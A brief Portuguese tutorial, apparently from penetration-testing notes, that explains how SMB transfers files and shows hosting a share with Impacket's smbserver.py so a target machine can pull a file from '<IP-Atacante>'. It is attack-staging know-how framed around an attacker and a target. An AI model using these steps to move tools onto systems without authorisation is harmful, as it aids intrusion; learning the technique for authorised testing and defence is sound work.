Transferencia de arquivos via SMB

SMB (Server Message Block) é um protocolo de compartilhamento de recursos em rede usado principalmente por sistemas Windows para expor diretórios, arquivos e impressoras. Também existe suporte em Linux/macOS via implementações como Samba e ferramentas como o Impacket. O protocolo opera tipicamente sobre TCP/445 (SMB direto) e, em ambientes mais antigos, sobre NetBIOS (porta 139).

Como o SMB transfere arquivos (visão geral)

  • Estabelece-se uma conexão TCP entre cliente e servidor.
  • O cliente autentica ou usa acesso anônimo (se permitido).
  • O cliente "conecta" a um share (recurso) remoto; isso mapeia o nome do compartilhamento a um diretório no servidor.
  • O cliente abre um arquivo (handle), então faz operações READ/WRITE para transferir dados.
  • Ao terminar, o cliente fecha o handle e desmonta o share.

Exemplo prático.

Crie uma pasta local chamada smb que conterá os arquivos que você quer disponibilizar ao alvo. Coloque dentro dela file-to-transfer (ou qualquer outro arquivo que deseje compartilhar).

└─ $ mkdir smb

Nota rápida: o smbserver.py usado no exemplo é parte do Impacket, uma coleção de scripts Python muito utilizada para tarefas de rede e exploração/engenharia reversa em ambientes Windows.

smbserver.py (Impacket) cria um servidor SMB simples que anunciará um compartilhamento para a rede.

└─ $ sudo smbserver.py share smb     

O servidor ficará aguardando conexões, o alvo poderá acessar o share usando o endereço IP do servidor e o nome do compartilhamento.

Então faça a transferência do arquivo desejado.

└─ $ \\<IP-Atacante>\share\file-to-transfer